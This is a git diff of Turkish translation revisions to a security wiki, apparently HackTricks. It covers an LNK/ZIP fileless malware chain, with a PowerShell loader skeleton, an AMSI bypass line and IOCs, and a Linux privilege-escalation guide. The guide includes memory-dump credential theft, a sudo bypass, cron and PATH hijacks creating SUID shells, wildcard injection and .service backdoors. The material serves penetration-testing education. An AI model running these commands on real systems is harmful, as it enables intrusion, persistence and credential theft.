@@ NTLM kimlik doğrulamasını **"uzaktan" zorlamak** için birkaç yol vardır; ### NTLM Relay -Hash'i veya kimlik doğrulamayı çalmanın yanı sıra **NTLM relay attacks** de gerçekleştirebileceğinizi unutmayın: +Unutmayın: yalnızca hash'i veya **authentication**'ı çalamakla kalmayıp, aynı zamanda **perform NTLM relay attacks** da gerçekleştirebilirsiniz: - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) ## LNK Loaders + ZIP-Embedded Payloads (fileless chain) -Son derece etkili kampanyalar, iki meşru alıcı belge (PDF/DOCX) ve kötü amaçlı bir .lnk içeren bir ZIP gönderir. Hile şu ki, gerçek PowerShell loader ZIP’in ham baytları içinde benzersiz bir marker’den sonra saklanır ve .lnk bunu ayırıp tamamen bellekte çalıştırır. +Oldukça etkili kampanyalar, iki meşru decoy belge (PDF/DOCX) ve kötü amaçlı bir .lnk içeren bir ZIP teslim eder. Hile şudur: gerçek PowerShell loader, ZIP’in ham bytes'larının içinde benzersiz bir marker'dan sonra saklanır ve .lnk bunu carve edip tamamen hafızada çalıştırır. -.lnk PowerShell one-liner tarafından uygulanan tipik akış: +Tipik akış, .lnk PowerShell one-liner tarafından uygulanır: -1) Orijinal ZIP'i şu yaygın yolları kontrol ederek bulun: Desktop, Downloads, Documents, %TEMP%, %ProgramData% ve mevcut çalışma dizininin üst dizini. -2) ZIP baytlarını okuyun ve sabit kodlu bir marker bulun (örn., xFIQCV). Marker'den sonraki her şey gömülü PowerShell payload'udur. -3) ZIP'i %ProgramData% içine kopyalayın, orada açın ve meşru görünmesi için sahte .docx'i açın. -4) Mevcut süreç için AMSI'yi atlayın: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true -5) Bir sonraki aşamanın obfuskasyonunu kaldırın (örn., tüm # karakterlerini silin) ve bunu bellekte çalıştırın. +1) Orijinal ZIP'i yaygın dizinlerde bulun: Desktop, Downloads, Documents, %TEMP%, %ProgramData% ve mevcut çalışma dizininin parent'i. +2) ZIP bytes'larını okuyun ve sert kodlanmış bir marker bulun (ör. xFIQCV). Marker'dan sonraki her şey gömülü PowerShell payload'dır. +3) ZIP'i %ProgramData% içine kopyalayın, orada çıkartın ve meşru görünmek için decoy .docx'i açın. +4) Geçerli process için AMSI'yi bypass edin: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true +5) Bir sonraki aşamayı deobfuscate edin (ör. tüm # karakterlerini kaldırın) ve hafızada execute edin. -Gömülü aşamayı ayıklayıp çalıştırmak için örnek PowerShell iskeleti: +Gömülü aşamayı carve edip çalıştırmak için örnek PowerShell iskeleti: ```powershell $marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV') $paths = @( @@ -191,21 +191,21 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#','' Invoke-Expression $code ``` Notlar -- Teslimat genellikle saygın PaaS alt alan adlarını (ör., *.herokuapp.com) kötüye kullanır ve payloads'ı gate'leyebilir (IP/UA bazlı zararsız ZIP'ler sunar). -- Bir sonraki aşama sık sık base64/XOR shellcode'u çözer ve disk artefaktlarını en aza indirmek için Reflection.Emit + VirtualAlloc ile çalıştırır. +- Teslimat genellikle saygın PaaS alt alan adlarını (ör. *.herokuapp.com) kötüye kullanır ve payloads'a erişimi kısıtlayabilir (IP/UA'ya göre zararsız ZIPs sunarak). +- Bir sonraki aşama genellikle base64/XOR shellcode'u çözer ve disk izlerini azaltmak için Reflection.Emit + VirtualAlloc ile çalıştırır. Aynı zincirde kullanılan Persistence -- COM TypeLib hijacking, Microsoft Web Browser control üzerinde, IE/Explorer veya içine gömülü herhangi bir uygulamanın payload'u otomatik olarak yeniden başlatması için kullanılır. Detaylar ve kullanıma hazır komutlar için buraya bakın: +- Microsoft Web Browser control üzerinde COM TypeLib hijacking uygulanarak, IE/Explorer veya kontrolü gömülü kullanan herhangi bir uygulama payload'ı otomatik olarak yeniden başlatır. Ayrıntılar ve hazır komutlar için bakınız: {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md {{#endref}} Hunting/IOCs -- Arşiv verisine eklenmiş ASCII işaretleyici dizisi (ör., xFIQCV) içeren ZIP dosyaları. -- ZIP'i bulmak için üst/kullanıcı klasörlerini listeleyen ve bir decoy document açan .lnk. -- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed. -- Güvenilir PaaS domainleri altında barındırılan linklerle sona eren uzun süreli iş dizileri. +- Arşiv verisine eklenmiş ASCII marker string (ör. xFIQCV) içeren ZIP dosyaları. +- .lnk, ZIP'yi bulmak için üst/kullanıcı klasörlerini tarar ve bir decoy document açar. +- AMSI'ye müdahale [System.Management.Automation.AmsiUtils]::amsiInitFailed ile. +- Güvenilir PaaS domain'leri altında barındırılan linklerle sonlanan uzun süre çalışan business thread'leri. ## Referanslar diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 89d05d3d4..aa1560a46 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,7 +6,7 @@ ### İşletim Sistemi bilgisi -Çalışan işletim sistemi hakkında bilgi edinmeye başlayalım +Çalışan işletim sistemi hakkında bilgi edinmeye başlayalım. ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -Eğer **`PATH` değişkeninin içindeki herhangi bir klasörde yazma izniniz varsa** bazı kütüphaneleri veya ikili dosyaları ele geçirebilirsiniz: +Eğer **`PATH` değişkeninin içindeki herhangi bir klasörde yazma izniniz varsa** bazı libraries veya binaries'i hijack edebilirsiniz: ```bash echo $PATH ``` ### Env bilgisi -Ortam değişkenlerinde ilginç bilgiler, parolalar veya API anahtarları var mı? +Çevre değişkenlerinde ilginç bilgiler, parolalar veya API anahtarları var mı? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Kernel sürümünü kontrol edin ve ayrıcalıkları yükseltmek için kullanılabilecek bir exploit olup olmadığını kontrol edin. +Kernel sürümünü ve escalate privileges için kullanılabilecek herhangi bir exploit olup olmadığını kontrol et. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Burada iyi bir vulnerable kernel listesi ve bazı zaten **compiled exploits** bulabilirsiniz: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ve [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Güvenlik açığı olan kernel listesi ve bazı zaten **compiled exploits** şu adreslerde bulabilirsiniz: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ve [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Diğer bazı **compiled exploits** bulabileceğiniz siteler: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Bu siteden tüm vulnerable kernel sürümlerini çıkarmak için şunu yapabilirsiniz: +Bu siteden tüm zafiyetli kernel sürümlerini çıkarmak için şunu yapabilirsiniz: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Kernel exploits aramakta yardımcı olabilecek araçlar: +Kernel exploit aramalarında yardımcı olabilecek araçlar: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (victim üzerinde çalıştırın, yalnızca kernel 2.x için exploitsleri kontrol eder) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (victim üzerinde çalıştırın, yalnızca kernel 2.x için exploitleri kontrol eder) -Her zaman **kernel sürümünü Google'da arayın**, belki kernel sürümünüz bazı kernel exploitlerinde belirtilmiştir ve böylece bu exploit'in geçerli olduğundan emin olursunuz. +Her zaman **kernel sürümünü Google'da arayın**, belki kernel sürümünüz bazı kernel exploit'lerinde yazılıdır ve böylece bu exploit'in geçerli olduğundan emin olursunuz. ### CVE-2016-5195 (DirtyCow) @@ -59,11 +59,11 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo sürümü -Güvenlik açığı bulunan sudo sürümlerine dayanarak: +Şurada görünen savunmasız sudo sürümlerine göre: ```bash searchsploit sudo ``` -Bu grep ile sudo sürümünün savunmasız olup olmadığını kontrol edebilirsiniz. +Bu grep'i kullanarak sudo sürümünün zafiyetli olup olmadığını kontrol edebilirsiniz. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -75,11 +75,11 @@ sudo -u#-1 /bin/bash ``` ### Dmesg imza doğrulaması başarısız -Bu vuln'ün nasıl istismar edilebileceğine dair bir **örnek** için **smasher2 box of HTB**'ye bakın. +**smasher2 box of HTB**'yi, bu **vuln**'ün nasıl exploit edilebileceğine dair bir **örnek** için kontrol edin. ```bash dmesg 2>/dev/null | grep "signature" ``` -### Daha fazla sistem keşfi +### Daha fazla system enumeration ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats @@ -130,71 +130,71 @@ Eğer bir docker container içindeyseniz, ondan kaçmayı deneyebilirsiniz: docker-security/ {{#endref}} -## Sürücüler +## Drives -Nelerin **mount (bağlı) ve unmount (bağlı olmayan)** olduğunu, nerede ve neden olduğunu kontrol edin. Eğer herhangi bir şey unmount ise, onu mount etmeyi deneyebilir ve gizli bilgileri kontrol edebilirsiniz. +Kontrol edin **what is mounted and unmounted**, nerede ve neden. Eğer herhangi bir şey unmounted ise, onu mount etmeyi deneyebilir ve gizli bilgileri kontrol edebilirsiniz. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` -## Faydalı yazılımlar +## Yararlı yazılımlar -Kullanışlı ikili dosyaları listeleyin +Kullanışlı binaries'leri listeleyin ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Ayrıca, **herhangi bir derleyicinin kurulu olup olmadığını** kontrol edin. Bu, bazı kernel exploit'leri kullanmanız gerekirse faydalıdır çünkü genellikle exploit'i kullanacağınız makinede (veya benzer bir makinede) derlemeniz önerilir. +Ayrıca, **any compiler is installed** olup olmadığını kontrol edin. Bu, bazı kernel exploit'leri kullanmanız gerekirse faydalıdır; çünkü onları kullanacağınız makinede (veya benzer birinde) compile etmeniz önerilir. ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Zafiyetli Yazılımlar Yüklü +### Zafiyeti Olan Kurulu Yazılımlar -Yüklü paketlerin ve servislerin **sürümünü** kontrol edin. Belki eski bir Nagios sürümü (örneğin) vardır; bu kötüye kullanılabilir ve escalating privileges elde etmek için kullanılabilir…\ -Daha şüpheli görünen yüklü yazılımların sürümünü elle kontrol etmeniz önerilir. +**yüklü paketlerin ve servislerin sürümlerini** kontrol edin. Belki eski bir Nagios sürümü (örneğin) vardır; bu, escalating privileges için exploited edilebilir…\ +Daha şüpheli yüklü yazılımların sürümlerini manuel olarak kontrol etmeniz önerilir. ```bash dpkg -l #Debian rpm -qa #Centos ``` -If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. +Makineye SSH erişiminiz varsa, içeride yüklü olan güncel olmayan ve zafiyetli yazılımları kontrol etmek için **openVAS**'ı da kullanabilirsiniz. -> [!NOTE] > _Bu komutların çoğunlukla yararsız olacak çok fazla bilgi göstereceğini unutmayın; bu nedenle kurulu herhangi bir yazılım sürümünün bilinen exploits'e karşı zafiyetli olup olmadığını kontrol edecek OpenVAS veya benzeri uygulamaların kullanılması önerilir_ +> [!NOTE] > _Bu komutların çoğunlukla işe yaramayan çok fazla bilgi göstereceğini unutmayın; bu nedenle yüklü yazılım sürümlerinin known exploits için savunmasız olup olmadığını kontrol edecek OpenVAS veya benzeri uygulamaların kullanılması önerilir_ ## İşlemler -Çalıştırılan **hangi işlemlere** bakın ve herhangi bir işlemin **gereğinden fazla ayrıcalığa sahip olup olmadığını** kontrol edin (belki tomcat root tarafından mı çalıştırılıyor?) +Hangi işlemlerin yürütüldüğüne bir göz atın ve herhangi bir işlemin **olması gerekenden daha fazla ayrıcalığa** sahip olup olmadığını kontrol edin (**hangi işlemler** — örneğin root tarafından çalıştırılan bir tomcat olabilir mi?). ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas**, sürecin komut satırındaki `--inspect` parametresini kontrol ederek bunları tespit eder.\ -Ayrıca süreçlerin ikili dosyaları üzerindeki ayrıcalıklarınızı kontrol edin; birini üzerine yazabiliyor olabilirsiniz. +Her zaman [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md) olup olmadığını kontrol edin. **Linpeas** bu türleri process komut satırındaki `--inspect` parametresini kontrol ederek tespit eder.\ +Ayrıca **processes binaries** üzerindeki ayrıcalıklarınızı kontrol edin; belki birini overwrite edebilirsiniz. -### Process monitoring +### Süreç izleme Süreçleri izlemek için [**pspy**](https://github.com/DominicBreuker/pspy) gibi araçları kullanabilirsiniz. Bu, sıkça çalıştırılan veya belirli gereksinimler karşılandığında yürütülen zafiyetli süreçleri tespit etmek için çok faydalı olabilir. -### Process memory +### Süreç belleği -Bazı sunucu servisleri **kimlik bilgilerini bellekte açık metin olarak saklar**.\ -Normalde başka kullanıcılara ait süreçlerin belleğini okumak için **root privileges** gerekir; bu nedenle bu genellikle zaten root olduğunuzda ve daha fazla kimlik bilgisi keşfetmek istediğinizde daha faydalıdır.\ -Ancak unutmayın ki **normal bir kullanıcı olarak sahip olduğunuz süreçlerin belleğini okuyabilirsiniz**. +Bazı sunucu servisleri **credentials in clear text inside the memory** saklar.\ +Normalde diğer kullanıcılara ait süreçlerin belleğini okumak için **root privileges** gerekir; bu yüzden bu genellikle zaten root olduğunuzda ve daha fazla kimlik bilgisi keşfetmek istediğinizde daha faydalıdır.\ +Ancak, unutmayın ki **as a regular user you can read the memory of the processes you own**. > [!WARNING] -> Günümüzde çoğu makine varsayılan olarak **ptrace'e izin vermez**, bu da ayrıcalıksız kullanıcınıza ait diğer süreçlerin dump'ını alamayacağınız anlamına gelir. +> Günümüzde çoğu makine **don't allow ptrace by default**; bu, ayrıcalıksız kullanıcınıza ait diğer süreçleri dump edemeyeceğiniz anlamına gelir. > -> _**/proc/sys/kernel/yama/ptrace_scope**_ dosyası ptrace erişilebilirliğini kontrol eder: +> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: aynı uid'ye sahip oldukları sürece tüm süreçler debug edilebilir. Bu, ptrace'in klasik çalışma şeklidir. -> - **kernel.yama.ptrace_scope = 1**: sadece bir parent process debug edilebilir. -> - **kernel.yama.ptrace_scope = 2**: Sadece admin ptrace kullanabilir, çünkü CAP_SYS_PTRACE yetkisi gereklidir. -> - **kernel.yama.ptrace_scope = 3**: Hiçbir süreç ptrace ile izlenemez. Bir kez ayarlandığında, ptrace'i tekrar etkinleştirmek için reboot gerekir. +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. +> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. +> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -Örneğin bir FTP servisinin belleğine erişiminiz varsa Heap'i alıp içindeki kimlik bilgilerini arayabilirsiniz. +Örneğin bir FTP servisinin belleğine erişiminiz varsa Heap'i elde edip içindeki credentials'ları arayabilirsiniz. ```bash gdb -p (gdb) info proc mappings @@ -203,7 +203,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Betik +#### GDB Script ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Belirli bir işlem kimliği (PID) için, **maps bir işlemin sanal adres uzayında belleğin nasıl eşlendiğini gösterir**; ayrıca her eşlenen bölgenin **izinlerini gösterir**. **mem** pseudo dosyası **işlemin belleğinin kendisini açığa çıkarır**. **maps** dosyasından hangi **bellek bölgelerinin okunabilir** olduğunu ve bunların offsetlerini biliriz. Bu bilgiyi **mem** dosyasında seek yapıp tüm okunabilir bölgeleri dump ederek bir dosyaya aktarmak için kullanırız. +Verilen bir işlem kimliği için, **maps o işlemin sanal adres alanı içinde belleğin nasıl eşlendiğini gösterir**; ayrıca **eşlenen her bölgenin izinlerini** gösterir. Bu **mem** pseudo dosyası **işlemin belleğini doğrudan açığa çıkarır**. **maps** dosyasından hangi **bellek bölgelerinin okunabilir** olduğunu ve bunların offsetlerini biliriz. Bu bilgiyi **mem dosyasında seek yapıp tüm okunabilir bölgeleri bir dosyaya dökmek için kullanırız**. ```bash procdump() ( @@ -231,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` sistemin **fiziksel** belleğine erişim sağlar, sanal belleğe değil. The kernel's virtual address space can be accessed using /dev/kmem.\ -Genellikle, `/dev/mem` yalnızca **root** ve **kmem** grubundan okunabilir. +`/dev/mem` sistemin **fiziksel** belleğine erişim sağlar, sanal belleğe değil. Kernel'in sanal adres uzayına /dev/kmem kullanılarak erişilebilir.\ +Genellikle, `/dev/mem` yalnızca **root** ve **kmem** grubunca okunabilir. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump için linux +### ProcDump for linux -ProcDump, Windows için Sysinternals araç paketindeki klasik ProcDump aracının Linux için yeniden tasarlanmış hâlidir. Şuradan edinebilirsiniz: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump, Windows için Sysinternals araç paketindeki klasik ProcDump aracının Linux için yeniden tasarlanmış bir versiyonudur. İndirmek için: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,11 +267,11 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Araçlar -Bir process belleğini dumplamak için şunları kullanabilirsiniz: +Bir process memory'sini dump etmek için şunları kullanabilirsiniz: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Kök gereksinimlerini manuel olarak kaldırabilir ve size ait process'i dumplayabilirsiniz -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root gereklidir) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Root gereksinimlerini manuel olarak kaldırabilir ve size ait olan process'i dumplayabilirsiniz +- Script A.5 şu kaynaktan [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root gereklidir) ### Credentials from Process Memory @@ -282,18 +282,18 @@ If you find that the authenticator process is running: ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Bir process'i dump edebilir (farklı yolları bulmak için önceki bölümlere bakın: dump the memory of a process) ve memory içinde credentials arayabilirsiniz: +İşlemi dump edebilir (bir işlemin memory'sini dump etmenin farklı yollarını bulmak için önceki bölümlere bakın) ve memory içinde credentials arayabilirsiniz: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Araç [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) bellekten ve bazı **iyi bilinen dosyalardan** **düz metin kimlik bilgilerini çalacaktır**. Doğru çalışması için root ayrıcalıkları gerektirir. +Bu araç [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) bellekten **clear text credentials** ve bazı **iyi bilinen dosyalardan** çalacaktır. Doğru çalışması için root ayrıcalıkları gereklidir. -| Özellik | İşlem Adı | +| Özellik | Süreç Adı | | ------------------------------------------------- | -------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | +| GDM şifresi (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | | VSFTPd (Active FTP Connections) | vsftpd | @@ -314,9 +314,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Zamanlanmış/Cron işler +## Scheduled/Cron jobs -Herhangi bir zamanlanmış işin güvenlik açığı olup olmadığını kontrol edin. Belki root tarafından çalıştırılan bir betikten faydalanabilirsiniz (wildcard vuln? root'un kullandığı dosyaları değiştirebilir misiniz? symlinks kullanmak? root'un kullandığı dizinde belirli dosyalar oluşturmak?). +Herhangi bir scheduled job'ın zafiyeti olup olmadığını kontrol et. Belki root tarafından çalıştırılan bir script'ten faydalanabilirsin (wildcard vuln? root'un kullandığı dosyaları değiştirebilir misin? symlinks kullanmak? root'un kullandığı dizinde belirli dosyalar oluşturmak?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -324,24 +324,24 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul ``` ### Cron yolu -Örneğin, _/etc/crontab_ içinde PATH şu şekilde bulunabilir: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Örneğin, _/etc/crontab_ içinde PATH'i bulabilirsiniz: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -_(Not: "user" kullanıcısının /home/user üzerinde yazma ayrıcalığı olduğunu fark edin)_ +(_Dikkat: "user" kullanıcısının /home/user üzerinde yazma yetkisi olduğunu göz önünde bulundurun_) Eğer bu crontab içinde root kullanıcısı PATH'i ayarlamadan bir komut veya script çalıştırmaya çalışıyorsa. Örneğin: _\* \* \* \* root overwrite.sh_\ -Sonrasında, şu şekilde root shell elde edebilirsiniz: +Böylece, aşağıdakini kullanarak root shell elde edebilirsiniz: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron bir script ile wildcard kullanımı (Wildcard Injection) +### Cron wildcard içeren bir script kullanımı (Wildcard Injection) -Eğer root tarafından çalıştırılan bir script içinde bir komut “**\***” içeriyorsa, bunu beklenmeyen şeyler (ör. privesc) yapmak için exploit edebilirsiniz. Örnek: +Eğer bir script root tarafından çalıştırılıyorsa ve bir komut içinde “**\***” varsa, bunu beklenmeyen şeyler (ör. privesc) yapmak için suistimal edebilirsiniz. Örnek: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Eğer wildcard bir yolun önünde yer alıyorsa, örneğin** _**/some/path/\***_ **, bu kırılgan değildir (hatta** _**./\***_ **de değildir).** +**Eğer wildcard şu tür bir yolun önünde bulunuyorsa** _**/some/path/\***_ **, bu zafiyetli değildir (hatta** _**./\***_ **de değildir).** Daha fazla wildcard exploitation tricks için aşağıdaki sayfayı okuyun: @@ -350,31 +350,31 @@ Daha fazla wildcard exploitation tricks için aşağıdaki sayfayı okuyun: wildcards-spare-tricks.md {{#endref}} -### Cron script overwriting and symlink +### Cron script üzerine yazma ve symlink -Eğer root tarafından çalıştırılan **bir cron script'i değiştirebilirseniz**, çok kolay bir shell alabilirsiniz: +Eğer root tarafından çalıştırılan bir cron script'i **değiştirebiliyorsanız**, çok kolay bir şekilde shell elde edebilirsiniz: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -root tarafından çalıştırılan script, **tam erişiminizin olduğu bir dizin** kullanıyorsa, belki o klasörü silmek ve **sizin kontrolünüzdeki bir script'i sunan başka bir klasöre işaret eden bir symlink klasörü oluşturmak** faydalı olabilir. +Eğer root tarafından çalıştırılan script, **tam erişiminizin olduğu bir directory** kullanıyorsa, o folder'ı silip **başka bir directory'ye symlink oluşturmak** ve böylece kendi kontrolünüzdeki bir scripti sunmak işe yarayabilir. ```bash ln -d -s ``` -### Sık cron jobs +### Sık kullanılan cron jobs -Süreçleri, her 1, 2 veya 5 dakikada bir çalıştırılan işlemleri aramak için izleyebilirsiniz. Belki bundan faydalanıp escalate privileges yapabilirsiniz. +Süreçleri izleyerek her 1, 2 veya 5 dakikada bir çalıştırılan süreçleri tespit edebilirsiniz. Belki bundan faydalanıp escalate privileges elde edebilirsiniz. -Örneğin, **1 dakika boyunca her 0.1s'de bir izle**, **en az çalıştırılan komutlara göre sırala** ve en çok çalıştırılan komutları silmek için şöyle yapabilirsiniz: +Örneğin, **1 dakika boyunca her 0.1s'de bir izlemek**, **daha az çalıştırılan komutlara göre sıralamak** ve en çok çalıştırılmış komutları silmek için şöyle yapabilirsiniz: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Ayrıca kullanabilirsiniz** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (bu, başlayan her süreci izleyecek ve listeleyecektir). +**Ayrıca kullanabilirsiniz** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (bu, başlayan her süreci izler ve listeler). ### Görünmez cron jobs -Bir yorumdan sonra yeni satır karakteri olmadan bir carriage return koyarak bir cronjob oluşturmak mümkündür ve cronjob çalışacaktır. Örnek (carriage return karakterine dikkat): +Bir cronjob oluşturmak mümkündür: bir yorumdan sonra **carriage return koyarak** (newline karakteri olmadan), ve cron job çalışacaktır. Örnek (carriage return karakterine dikkat): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -382,51 +382,53 @@ Bir yorumdan sonra yeni satır karakteri olmadan bir carriage return koyarak bir ### Yazılabilir _.service_ dosyaları -Herhangi bir `.service` dosyasına yazıp yazamayacağınızı kontrol edin; yazabiliyorsanız, onu **değiştirebilirsiniz** böylece servisin **başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** sizin **backdoor**'unuzu **çalıştırmasını** sağlayabilirsiniz (belki makinenin yeniden başlatılmasını beklemeniz gerekebilir).\ -Örneğin .service dosyasının içine backdoor'unuzu **`ExecStart=/tmp/script.sh`** ile oluşturun +Herhangi bir `.service` dosyasını yazıp yazamayacağınızı kontrol edin; yazabiliyorsanız, **onu değiştirebilir** ve servis **başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** **backdoor**'unuzun **çalıştırılmasını** sağlayabilirsiniz (makinenin yeniden başlatılmasını beklemeniz gerekebilir).\ +Örneğin backdoor'unuzu .service dosyasına **`ExecStart=/tmp/script.sh`** ile oluşturun ### Yazılabilir servis ikili dosyaları -Aklınızda bulundurun ki, eğer **servisler tarafından çalıştırılan ikili dosyalar üzerinde yazma izniniz** varsa, onları backdoor'lar için değiştirebilir ve servisler yeniden çalıştırıldığında backdoor'ların çalıştırılmasını sağlayabilirsiniz. +Unutmayın ki eğer servisler tarafından çalıştırılan **binary'ler üzerinde yazma iznine** sahipseniz, bunları backdoors ekleyecek şekilde değiştirebilirsiniz; böylece servisler yeniden çalıştırıldığında backdoors da çalıştırılır. ### systemd PATH - Göreli Yollar -**systemd** tarafından kullanılan PATH'i şu komutla görebilirsiniz: +systemd tarafından kullanılan **PATH**'i şu komutla görebilirsiniz: ```bash systemctl show-environment ``` -Eğer yolun herhangi bir klasörüne **yazabiliyorsanız** **escalate privileges** elde edebilirsiniz. Servis yapılandırma dosyalarında kullanılan **göreli yollar** gibi öğeleri aramanız gerekir: +Eğer yolun herhangi bir klasörüne **yazabiliyorsanız** muhtemelen **escalate privileges** yapabilirsiniz. Hizmet yapılandırma dosyalarında kullanılan **göreli yollar** gibi şeyleri aramanız gerekiyor: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff 